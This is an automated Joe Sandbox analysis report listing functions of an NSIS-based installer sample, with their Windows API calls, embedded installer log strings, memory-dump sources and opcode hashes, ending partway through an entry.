Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,open,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00427176,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user abort, xrefs: 00401B53
open, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user cancel, xrefs: 00401B93
File: error, user retry, xrefs: 00401B40
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: wrote %d to "%s", xrefs: 00401BD0
File: error creating "%s", xrefs: 00401AF0

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
API String ID: 4286501637-2478300759
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 0040337F Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00427176,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

y1B, xrefs: 00403458, 0040346A
... %d%%, xrefs: 004034C8
(]C, xrefs: 004033FD
pAB, xrefs: 004033AB
vqB, xrefs: 0040346F, 0040348A, 00403513

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB$vqB$y1B
API String ID: 651206458-2710265387
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 004035B3 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

Null, xrefs: 004036AA
soft, xrefs: 004036A1
Inst, xrefs: 00403698
Error launching installer, xrefs: 00403603
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00427176,74DF23A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427176,74DF23A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00401EB9 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNEL32(00647028), ref: 00402387

Strings

open, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
(pd, xrefs: 00401EBC, 00401F06, 00401F15, 00401F48, 00401F6E, 00401F75

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: (pd$Exch: stack < %d elements$Pop: stack empty$open
API String ID: 1459762280-889914310
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
open, xrefs: 00402770
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
API String ID: 247603264-1827671502
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00427176,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427176,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1688431204.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688412933.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688454314.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688471419.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688644401.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
